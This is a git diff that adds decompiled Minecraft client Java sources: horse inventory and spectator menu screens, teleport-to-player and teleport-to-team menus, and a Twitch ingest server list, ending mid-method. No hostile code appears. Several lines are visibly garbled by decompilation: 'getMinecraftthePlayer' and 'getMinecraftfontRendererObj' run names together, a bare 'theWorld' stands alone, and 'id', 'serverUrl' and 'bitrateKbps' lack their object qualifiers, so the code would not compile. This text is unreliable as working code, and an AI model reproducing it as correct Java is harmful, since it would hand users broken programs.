+    rotationYaw = ((float)Math.atan(p_147046_3_ / 40.0F) * 40.0F);
+    rotationPitch = (-(float)Math.atan(p_147046_4_ / 40.0F) * 20.0F);
+    rotationYawHead = rotationYaw;
+    prevRotationYawHead = rotationYaw;
+    GlStateManager.translate(0.0F, 0.0F, 0.0F);
+    RenderManager var11 = Minecraft.getMinecraft().getRenderManager();
+    var11.func_178631_a(180.0F);
+    var11.func_178633_a(false);
+    var11.renderEntityWithPosYaw(p_147046_5_, 0.0D, 0.0D, 0.0D, 0.0F, 1.0F);
+    var11.func_178633_a(true);
+    renderYawOffset = var6;
+    rotationYaw = var7;
+    rotationPitch = var8;
+    prevRotationYawHead = var9;
+    rotationYawHead = var10;
+    GlStateManager.popMatrix();
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GlStateManager.func_179090_x();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 0)
+    {
+      mc.displayGuiScreen(new GuiAchievements(this, mc.thePlayer.getStatFileWriter()));
+    }
+    
+    if (id == 1)
+    {
+      mc.displayGuiScreen(new GuiStats(this, mc.thePlayer.getStatFileWriter()));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiScreenHorseInventory.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiScreenHorseInventory.java
new file mode 100644
index 0000000..03867cf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiScreenHorseInventory.java
@@ -0,0 +1,71 @@
+package net.minecraft.client.gui.inventory;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiScreenHorseInventory extends GuiContainer
+{
+  private static final ResourceLocation horseGuiTextures = new ResourceLocation("textures/gui/container/horse.png");
+  private IInventory field_147030_v;
+  private IInventory field_147029_w;
+  private EntityHorse field_147034_x;
+  private float field_147033_y;
+  private float field_147032_z;
+  private static final String __OBFID = "CL_00000760";
+  
+  public GuiScreenHorseInventory(IInventory p_i1093_1_, IInventory p_i1093_2_, EntityHorse p_i1093_3_)
+  {
+    super(new net.minecraft.inventory.ContainerHorseInventory(p_i1093_1_, p_i1093_2_, p_i1093_3_, getMinecraftthePlayer));
+    field_147030_v = p_i1093_1_;
+    field_147029_w = p_i1093_2_;
+    field_147034_x = p_i1093_3_;
+    allowUserInput = false;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    fontRendererObj.drawString(field_147029_w.getDisplayName().getUnformattedText(), 8, 6, 4210752);
+    fontRendererObj.drawString(field_147030_v.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(horseGuiTextures);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    
+    if (field_147034_x.isChested())
+    {
+      drawTexturedModalRect(var4 + 79, var5 + 17, 0, ySize, 90, 54);
+    }
+    
+    if (field_147034_x.canWearArmor())
+    {
+      drawTexturedModalRect(var4 + 7, var5 + 35, 0, ySize + 54, 18, 18);
+    }
+    
+    GuiInventory.drawEntityOnScreen(var4 + 51, var5 + 60, 17, var4 + 51 - field_147033_y, var5 + 75 - 50 - field_147032_z, field_147034_x);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    field_147033_y = mouseX;
+    field_147032_z = mouseY;
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/BaseSpectatorGroup.java b/src/minecraft/net/minecraft/client/gui/spectator/BaseSpectatorGroup.java
new file mode 100644
index 0000000..83a6d69
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/BaseSpectatorGroup.java
@@ -0,0 +1,30 @@
+package net.minecraft.client.gui.spectator;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.client.gui.spectator.categories.TeleportToPlayer;
+import net.minecraft.client.gui.spectator.categories.TeleportToTeam;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+
+public class BaseSpectatorGroup implements ISpectatorMenuView
+{
+  private final List field_178671_a = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001928";
+  
+  public BaseSpectatorGroup()
+  {
+    field_178671_a.add(new TeleportToPlayer());
+    field_178671_a.add(new TeleportToTeam());
+  }
+  
+  public List func_178669_a()
+  {
+    return field_178671_a;
+  }
+  
+  public IChatComponent func_178670_b()
+  {
+    return new ChatComponentText("Press a key to select a command, and again to use it.");
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuObject.java b/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuObject.java
new file mode 100644
index 0000000..49a1fb3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuObject.java
@@ -0,0 +1,14 @@
+package net.minecraft.client.gui.spectator;
+
+import net.minecraft.util.IChatComponent;
+
+public abstract interface ISpectatorMenuObject
+{
+  public abstract void func_178661_a(SpectatorMenu paramSpectatorMenu);
+  
+  public abstract IChatComponent func_178664_z_();
+  
+  public abstract void func_178663_a(float paramFloat, int paramInt);
+  
+  public abstract boolean func_178662_A_();
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuReciepient.java b/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuReciepient.java
new file mode 100644
index 0000000..3bbcb2d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuReciepient.java
@@ -0,0 +1,6 @@
+package net.minecraft.client.gui.spectator;
+
+public abstract interface ISpectatorMenuReciepient
+{
+  public abstract void func_175257_a(SpectatorMenu paramSpectatorMenu);
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuView.java b/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuView.java
new file mode 100644
index 0000000..46191d3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/ISpectatorMenuView.java
@@ -0,0 +1,11 @@
+package net.minecraft.client.gui.spectator;
+
+import java.util.List;
+import net.minecraft.util.IChatComponent;
+
+public abstract interface ISpectatorMenuView
+{
+  public abstract List func_178669_a();
+  
+  public abstract IChatComponent func_178670_b();
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/PlayerMenuObject.java b/src/minecraft/net/minecraft/client/gui/spectator/PlayerMenuObject.java
new file mode 100644
index 0000000..e6ff774
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/PlayerMenuObject.java
@@ -0,0 +1,48 @@
+package net.minecraft.client.gui.spectator;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C18PacketSpectate;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class PlayerMenuObject implements ISpectatorMenuObject
+{
+  private final GameProfile field_178668_a;
+  private final ResourceLocation field_178667_b;
+  private static final String __OBFID = "CL_00001929";
+  
+  public PlayerMenuObject(GameProfile p_i45498_1_)
+  {
+    field_178668_a = p_i45498_1_;
+    field_178667_b = AbstractClientPlayer.getLocationSkin(p_i45498_1_.getName());
+    AbstractClientPlayer.getDownloadImageSkin(field_178667_b, p_i45498_1_.getName());
+  }
+  
+  public void func_178661_a(SpectatorMenu p_178661_1_)
+  {
+    Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C18PacketSpectate(field_178668_a.getId()));
+  }
+  
+  public IChatComponent func_178664_z_()
+  {
+    return new ChatComponentText(field_178668_a.getName());
+  }
+  
+  public void func_178663_a(float p_178663_1_, int p_178663_2_)
+  {
+    Minecraft.getMinecraft().getTextureManager().bindTexture(field_178667_b);
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, p_178663_2_ / 255.0F);
+    Gui.drawScaledCustomSizeModalRect(2, 2, 8.0F, 8.0F, 8, 8, 12, 12, 64.0F, 64.0F);
+    Gui.drawScaledCustomSizeModalRect(2, 2, 40.0F, 8.0F, 8, 8, 12, 12, 64.0F, 64.0F);
+  }
+  
+  public boolean func_178662_A_()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/SpectatorMenu.java b/src/minecraft/net/minecraft/client/gui/spectator/SpectatorMenu.java
new file mode 100644
index 0000000..b295954
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/SpectatorMenu.java
@@ -0,0 +1,188 @@
+package net.minecraft.client.gui.spectator;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.GuiSpectator;
+import net.minecraft.client.gui.spectator.categories.SpectatorDetails;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+
+public class SpectatorMenu
+{
+  private static final ISpectatorMenuObject field_178655_b = new EndSpectatorObject(null);
+  private static final ISpectatorMenuObject field_178656_c = new MoveMenuObject(-1, true);
+  private static final ISpectatorMenuObject field_178653_d = new MoveMenuObject(1, true);
+  private static final ISpectatorMenuObject field_178654_e = new MoveMenuObject(1, false);
+  public static final ISpectatorMenuObject field_178657_a = new ISpectatorMenuObject() {
+    private static final String __OBFID = "CL_00001926";
+    
+    public void func_178661_a(SpectatorMenu p_178661_1_) {}
+    
+    public IChatComponent func_178664_z_() {
+      return new ChatComponentText("");
+    }
+    
+    public void func_178663_a(float p_178663_1_, int p_178663_2_) {}
+    
+    public boolean func_178662_A_() { return false; }
+  };
+  
+  private final ISpectatorMenuReciepient field_178651_f;
+  private final List field_178652_g = Lists.newArrayList();
+  private ISpectatorMenuView field_178659_h = new BaseSpectatorGroup();
+  private int field_178660_i = -1;
+  private int field_178658_j;
+  private static final String __OBFID = "CL_00001927";
+  
+  public SpectatorMenu(ISpectatorMenuReciepient p_i45497_1_)
+  {
+    field_178651_f = p_i45497_1_;
+  }
+  
+  public ISpectatorMenuObject func_178643_a(int p_178643_1_)
+  {
+    int var2 = p_178643_1_ + field_178658_j * 6;
+    return (var2 >= 0) && (var2 < field_178659_h.func_178669_a().size()) ? (ISpectatorMenuObject)com.google.common.base.Objects.firstNonNull(field_178659_h.func_178669_a().get(var2), field_178657_a) : p_178643_1_ == 8 ? field_178655_b : p_178643_1_ == 7 ? field_178654_e : var2 < field_178659_h.func_178669_a().size() ? field_178653_d : (field_178658_j > 0) && (p_178643_1_ == 0) ? field_178656_c : field_178657_a;
+  }
+  
+  public List func_178642_a()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    
+    for (int var2 = 0; var2 <= 8; var2++)
+    {
+      var1.add(func_178643_a(var2));
+    }
+    
+    return var1;
+  }
+  
+  public ISpectatorMenuObject func_178645_b()
+  {
+    return func_178643_a(field_178660_i);
+  }
+  
+  public ISpectatorMenuView func_178650_c()
+  {
+    return field_178659_h;
+  }
+  
+  public void func_178644_b(int p_178644_1_)
+  {
+    ISpectatorMenuObject var2 = func_178643_a(p_178644_1_);
+    
+    if (var2 != field_178657_a)
+    {
+      if ((field_178660_i == p_178644_1_) && (var2.func_178662_A_()))
+      {
+        var2.func_178661_a(this);
+      }
+      else
+      {
+        field_178660_i = p_178644_1_;
+      }
+    }
+  }
+  
+  public void func_178641_d()
+  {
+    field_178651_f.func_175257_a(this);
+  }
+  
+  public int func_178648_e()
+  {
+    return field_178660_i;
+  }
+  
+  public void func_178647_a(ISpectatorMenuView p_178647_1_)
+  {
+    field_178652_g.add(func_178646_f());
+    field_178659_h = p_178647_1_;
+    field_178660_i = -1;
+    field_178658_j = 0;
+  }
+  
+  public SpectatorDetails func_178646_f()
+  {
+    return new SpectatorDetails(field_178659_h, func_178642_a(), field_178660_i);
+  }
+  
+  static class EndSpectatorObject implements ISpectatorMenuObject
+  {
+    private static final String __OBFID = "CL_00001925";
+    
+    private EndSpectatorObject() {}
+    
+    public void func_178661_a(SpectatorMenu p_178661_1_)
+    {
+      p_178661_1_.func_178641_d();
+    }
+    
+    public IChatComponent func_178664_z_()
+    {
+      return new ChatComponentText("Close menu");
+    }
+    
+    public void func_178663_a(float p_178663_1_, int p_178663_2_)
+    {
+      Minecraft.getMinecraft().getTextureManager().bindTexture(GuiSpectator.field_175269_a);
+      Gui.drawModalRectWithCustomSizedTexture(0, 0, 128.0F, 0.0F, 16, 16, 256.0F, 256.0F);
+    }
+    
+    public boolean func_178662_A_()
+    {
+      return true;
+    }
+    
+    EndSpectatorObject(Object p_i45496_1_)
+    {
+      this();
+    }
+  }
+  
+  static class MoveMenuObject implements ISpectatorMenuObject
+  {
+    private final int field_178666_a;
+    private final boolean field_178665_b;
+    private static final String __OBFID = "CL_00001924";
+    
+    public MoveMenuObject(int p_i45495_1_, boolean p_i45495_2_)
+    {
+      field_178666_a = p_i45495_1_;
+      field_178665_b = p_i45495_2_;
+    }
+    
+    public void func_178661_a(SpectatorMenu p_178661_1_)
+    {
+      field_178658_j = field_178666_a;
+    }
+    
+    public IChatComponent func_178664_z_()
+    {
+      return field_178666_a < 0 ? new ChatComponentText("Previous Page") : new ChatComponentText("Next Page");
+    }
+    
+    public void func_178663_a(float p_178663_1_, int p_178663_2_)
+    {
+      Minecraft.getMinecraft().getTextureManager().bindTexture(GuiSpectator.field_175269_a);
+      
+      if (field_178666_a < 0)
+      {
+        Gui.drawModalRectWithCustomSizedTexture(0, 0, 144.0F, 0.0F, 16, 16, 256.0F, 256.0F);
+      }
+      else
+      {
+        Gui.drawModalRectWithCustomSizedTexture(0, 0, 160.0F, 0.0F, 16, 16, 256.0F, 256.0F);
+      }
+    }
+    
+    public boolean func_178662_A_()
+    {
+      return field_178665_b;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/categories/SpectatorDetails.java b/src/minecraft/net/minecraft/client/gui/spectator/categories/SpectatorDetails.java
new file mode 100644
index 0000000..b95c86c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/categories/SpectatorDetails.java
@@ -0,0 +1,32 @@
+package net.minecraft.client.gui.spectator.categories;
+
+import com.google.common.base.Objects;
+import java.util.List;
+import net.minecraft.client.gui.spectator.ISpectatorMenuObject;
+import net.minecraft.client.gui.spectator.ISpectatorMenuView;
+import net.minecraft.client.gui.spectator.SpectatorMenu;
+
+public class SpectatorDetails
+{
+  private final ISpectatorMenuView field_178684_a;
+  private final List field_178682_b;
+  private final int field_178683_c;
+  private static final String __OBFID = "CL_00001923";
+  
+  public SpectatorDetails(ISpectatorMenuView p_i45494_1_, List p_i45494_2_, int p_i45494_3_)
+  {
+    field_178684_a = p_i45494_1_;
+    field_178682_b = p_i45494_2_;
+    field_178683_c = p_i45494_3_;
+  }
+  
+  public ISpectatorMenuObject func_178680_a(int p_178680_1_)
+  {
+    return (p_178680_1_ >= 0) && (p_178680_1_ < field_178682_b.size()) ? (ISpectatorMenuObject)Objects.firstNonNull(field_178682_b.get(p_178680_1_), SpectatorMenu.field_178657_a) : SpectatorMenu.field_178657_a;
+  }
+  
+  public int func_178681_b()
+  {
+    return field_178683_c;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/categories/TeleportToPlayer.java b/src/minecraft/net/minecraft/client/gui/spectator/categories/TeleportToPlayer.java
new file mode 100644
index 0000000..706dde3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/categories/TeleportToPlayer.java
@@ -0,0 +1,101 @@
+package net.minecraft.client.gui.spectator.categories;
+
+import com.google.common.collect.ComparisonChain;
+import com.google.common.collect.Ordering;
+import com.mojang.authlib.GameProfile;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.GuiSpectator;
+import net.minecraft.client.gui.spectator.ISpectatorMenuObject;
+import net.minecraft.client.gui.spectator.PlayerMenuObject;
+import net.minecraft.client.gui.spectator.SpectatorMenu;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.network.NetworkPlayerInfo;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class TeleportToPlayer implements net.minecraft.client.gui.spectator.ISpectatorMenuView, ISpectatorMenuObject
+{
+  private static final Ordering field_178674_a = Ordering.from(new Comparator()
+  {
+    private static final String __OBFID = "CL_00001921";
+    
+    public int func_178746_a(NetworkPlayerInfo p_178746_1_, NetworkPlayerInfo p_178746_2_) {
+      return ComparisonChain.start().compare(p_178746_1_.func_178845_a().getId(), p_178746_2_.func_178845_a().getId()).result();
+    }
+    
+    public int compare(Object p_compare_1_, Object p_compare_2_) {
+      return func_178746_a((NetworkPlayerInfo)p_compare_1_, (NetworkPlayerInfo)p_compare_2_);
+    }
+  });
+  
+
+
+
+  private final List field_178673_b;
+  
+
+
+
+  private static final String __OBFID = "CL_00001922";
+  
+
+
+
+  public TeleportToPlayer()
+  {
+    this(field_178674_a.sortedCopy(Minecraft.getMinecraft().getNetHandler().func_175106_d()));
+  }
+  
+  public TeleportToPlayer(Collection p_i45493_1_)
+  {
+    field_178673_b = com.google.common.collect.Lists.newArrayList();
+    Iterator var2 = field_178674_a.sortedCopy(p_i45493_1_).iterator();
+    
+    while (var2.hasNext())
+    {
+      NetworkPlayerInfo var3 = (NetworkPlayerInfo)var2.next();
+      
+      if (var3.getGameType() != WorldSettings.GameType.SPECTATOR)
+      {
+        field_178673_b.add(new PlayerMenuObject(var3.func_178845_a()));
+      }
+    }
+  }
+  
+  public List func_178669_a()
+  {
+    return field_178673_b;
+  }
+  
+  public IChatComponent func_178670_b()
+  {
+    return new ChatComponentText("Select a player to teleport to");
+  }
+  
+  public void func_178661_a(SpectatorMenu p_178661_1_)
+  {
+    p_178661_1_.func_178647_a(this);
+  }
+  
+  public IChatComponent func_178664_z_()
+  {
+    return new ChatComponentText("Teleport to player");
+  }
+  
+  public void func_178663_a(float p_178663_1_, int p_178663_2_)
+  {
+    Minecraft.getMinecraft().getTextureManager().bindTexture(GuiSpectator.field_175269_a);
+    Gui.drawModalRectWithCustomSizedTexture(0, 0, 0.0F, 0.0F, 16, 16, 256.0F, 256.0F);
+  }
+  
+  public boolean func_178662_A_()
+  {
+    return !field_178673_b.isEmpty();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/spectator/categories/TeleportToTeam.java b/src/minecraft/net/minecraft/client/gui/spectator/categories/TeleportToTeam.java
new file mode 100644
index 0000000..e71edb5
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/spectator/categories/TeleportToTeam.java
@@ -0,0 +1,161 @@
+package net.minecraft.client.gui.spectator.categories;
+
+import com.google.common.collect.Lists;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.spectator.ISpectatorMenuObject;
+import net.minecraft.client.gui.spectator.SpectatorMenu;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.network.NetworkPlayerInfo;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class TeleportToTeam implements net.minecraft.client.gui.spectator.ISpectatorMenuView, ISpectatorMenuObject
+{
+  private final List field_178672_a = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001920";
+  
+  public TeleportToTeam()
+  {
+    Minecraft var1 = Minecraft.getMinecraft();
+    Iterator var2 = theWorld.getScoreboard().getTeams().iterator();
+    
+    while (var2.hasNext())
+    {
+      ScorePlayerTeam var3 = (ScorePlayerTeam)var2.next();
+      field_178672_a.add(new TeamSelectionObject(var3));
+    }
+  }
+  
+  public List func_178669_a()
+  {
+    return field_178672_a;
+  }
+  
+  public IChatComponent func_178670_b()
+  {
+    return new ChatComponentText("Select a team to teleport to");
+  }
+  
+  public void func_178661_a(SpectatorMenu p_178661_1_)
+  {
+    p_178661_1_.func_178647_a(this);
+  }
+  
+  public IChatComponent func_178664_z_()
+  {
+    return new ChatComponentText("Teleport to team member");
+  }
+  
+  public void func_178663_a(float p_178663_1_, int p_178663_2_)
+  {
+    Minecraft.getMinecraft().getTextureManager().bindTexture(net.minecraft.client.gui.GuiSpectator.field_175269_a);
+    Gui.drawModalRectWithCustomSizedTexture(0, 0, 16.0F, 0.0F, 16, 16, 256.0F, 256.0F);
+  }
+  
+  public boolean func_178662_A_()
+  {
+    Iterator var1 = field_178672_a.iterator();
+    
+    ISpectatorMenuObject var2;
+    do
+    {
+      if (!var1.hasNext())
+      {
+        return false;
+      }
+      
+      var2 = (ISpectatorMenuObject)var1.next();
+    }
+    while (!var2.func_178662_A_());
+    
+    return true;
+  }
+  
+  class TeamSelectionObject implements ISpectatorMenuObject
+  {
+    private final ScorePlayerTeam field_178676_b;
+    private final ResourceLocation field_178677_c;
+    private final List field_178675_d;
+    private static final String __OBFID = "CL_00001919";
+    
+    public TeamSelectionObject(ScorePlayerTeam p_i45492_2_)
+    {
+      field_178676_b = p_i45492_2_;
+      field_178675_d = Lists.newArrayList();
+      Iterator var3 = p_i45492_2_.getMembershipCollection().iterator();
+      
+      while (var3.hasNext())
+      {
+        String var4 = (String)var3.next();
+        NetworkPlayerInfo var5 = Minecraft.getMinecraft().getNetHandler().func_175104_a(var4);
+        
+        if (var5 != null)
+        {
+          field_178675_d.add(var5);
+        }
+      }
+      
+      if (!field_178675_d.isEmpty())
+      {
+        String var6 = ((NetworkPlayerInfo)field_178675_d.get(new Random().nextInt(field_178675_d.size()))).func_178845_a().getName();
+        field_178677_c = AbstractClientPlayer.getLocationSkin(var6);
+        AbstractClientPlayer.getDownloadImageSkin(field_178677_c, var6);
+      }
+      else
+      {
+        field_178677_c = net.minecraft.client.resources.DefaultPlayerSkin.func_177335_a();
+      }
+    }
+    
+    public void func_178661_a(SpectatorMenu p_178661_1_)
+    {
+      p_178661_1_.func_178647_a(new TeleportToPlayer(field_178675_d));
+    }
+    
+    public IChatComponent func_178664_z_()
+    {
+      return new ChatComponentText(field_178676_b.func_96669_c());
+    }
+    
+    public void func_178663_a(float p_178663_1_, int p_178663_2_)
+    {
+      int var3 = -1;
+      String var4 = FontRenderer.getFormatFromString(field_178676_b.getColorPrefix());
+      
+      if (var4.length() >= 2)
+      {
+        var3 = getMinecraftfontRendererObj.func_175064_b(var4.charAt(1));
+      }
+      
+      if (var3 >= 0)
+      {
+        float var5 = (var3 >> 16 & 0xFF) / 255.0F;
+        float var6 = (var3 >> 8 & 0xFF) / 255.0F;
+        float var7 = (var3 & 0xFF) / 255.0F;
+        Gui.drawRect(1.0D, 1.0D, 15.0D, 15.0D, MathHelper.func_180183_b(var5 * p_178663_1_, var6 * p_178663_1_, var7 * p_178663_1_) | p_178663_2_ << 24);
+      }
+      
+      Minecraft.getMinecraft().getTextureManager().bindTexture(field_178677_c);
+      net.minecraft.client.renderer.GlStateManager.color(p_178663_1_, p_178663_1_, p_178663_1_, p_178663_2_ / 255.0F);
+      Gui.drawScaledCustomSizeModalRect(2, 2, 8.0F, 8.0F, 8, 8, 12, 12, 64.0F, 64.0F);
+      Gui.drawScaledCustomSizeModalRect(2, 2, 40.0F, 8.0F, 8, 8, 12, 12, 64.0F, 64.0F);
+    }
+    
+    public boolean func_178662_A_()
+    {
+      return !field_178675_d.isEmpty();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/stream/GuiIngestServers.java b/src/minecraft/net/minecraft/client/gui/stream/GuiIngestServers.java
new file mode 100644
index 0000000..b913138
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/stream/GuiIngestServers.java
@@ -0,0 +1,175 @@
+package net.minecraft.client.gui.stream;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.client.stream.IngestServerTester;
+import net.minecraft.util.EnumChatFormatting;
+import tv.twitch.broadcast.IngestServer;
+
+public class GuiIngestServers extends GuiScreen
+{
+  private final GuiScreen field_152309_a;
+  private String field_152310_f;
+  private ServerList field_152311_g;
+  private static final String __OBFID = "CL_00001843";
+  
+  public GuiIngestServers(GuiScreen p_i46312_1_)
+  {
+    field_152309_a = p_i46312_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    field_152310_f = net.minecraft.client.resources.I18n.format("options.stream.ingest.title", new Object[0]);
+    field_152311_g = new ServerList(mc);
+    
+    if (!mc.getTwitchStream().func_152908_z())
+    {
+      mc.getTwitchStream().func_152909_x();
+    }
+    
+    buttonList.add(new GuiButton(1, width / 2 - 155, height - 24 - 6, 150, 20, net.minecraft.client.resources.I18n.format("gui.done", new Object[0])));
+    buttonList.add(new GuiButton(2, width / 2 + 5, height - 24 - 6, 150, 20, net.minecraft.client.resources.I18n.format("options.stream.ingest.reset", new Object[0])));
+  }
+  
+
+
+  public void handleMouseInput()
+    throws java.io.IOException
+  {
+    super.handleMouseInput();
+    field_152311_g.func_178039_p();
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    if (mc.getTwitchStream().func_152908_z())
+    {
+      mc.getTwitchStream().func_152932_y().func_153039_l();
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if (id == 1)
+      {
+        mc.displayGuiScreen(field_152309_a);
+      }
+      else
+      {
+        mc.gameSettings.streamPreferredServer = "";
+        mc.gameSettings.saveOptions();
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    field_152311_g.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_152310_f, width / 2, 20, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  class ServerList extends net.minecraft.client.gui.GuiSlot
+  {
+    private static final String __OBFID = "CL_00001842";
+    
+    public ServerList(Minecraft mcIn)
+    {
+      super(width, height, 32, height - 35, (int)(fontRendererObj.FONT_HEIGHT * 3.5D));
+      setShowSelectionBox(false);
+    }
+    
+    protected int getSize()
+    {
+      return mc.getTwitchStream().func_152925_v().length;
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+    {
+      mc.gameSettings.streamPreferredServer = mc.getTwitchStream().func_152925_v()[slotIndex].serverUrl;
+      mc.gameSettings.saveOptions();
+    }
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return mc.getTwitchStream().func_152925_v()[slotIndex].serverUrl.equals(mc.gameSettings.streamPreferredServer);
+    }
+    
+    protected void drawBackground() {}
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      IngestServer var7 = mc.getTwitchStream().func_152925_v()[p_180791_1_];
+      String var8 = serverUrl.replaceAll("\\{stream_key\\}", "");
+      String var9 = (int)bitrateKbps + " kbps";
+      String var10 = null;
+      IngestServerTester var11 = mc.getTwitchStream().func_152932_y();
+      
+      if (var11 != null)
+      {
+        if (var7 == var11.func_153040_c())
+        {
+          var8 = EnumChatFormatting.GREEN + var8;
+          var9 = (int)(var11.func_153030_h() * 100.0F) + "%";
+        }
+        else if (p_180791_1_ < var11.func_153028_p())
+        {
+          if (bitrateKbps == 0.0F)
+          {
+            var9 = EnumChatFormatting.RED + "Down!";
+          }
+        }
+        else
+        {
+          var9 = EnumChatFormatting.OBFUSCATED + "1234" + EnumChatFormatting.RESET + " kbps";
+        }
+      }
+      else if (bitrateKbps == 0.0F)
+      {
+        var9 = EnumChatFormatting.RED + "Down!";
+      }
+      
+      p_180791_2_ -= 15;
+      
+      if (isSelected(p_180791_1_))
+      {
+        var10 = EnumChatFormatting.BLUE + "(Preferred)";
+      }
+      else if (defaultServer)
+      {
+        var10 = EnumChatFormatting.GREEN + "(Default)";
+      }
+      
+      drawString(fontRendererObj, serverName, p_180791_2_ + 2, p_180791_3_ + 5, 16777215);
+      drawString(fontRendererObj, var8, p_180791_2_ + 2, p_180791_3_ + fontRendererObj.FONT_HEIGHT + 5 + 3, 3158064);
+      drawString(fontRendererObj, var9, getScrollBarX() - 5 - fontRendererObj.getStringWidth(var9), p_180791_3_ + 5, 8421504);
+      
+      if (var10 != null)
+      {
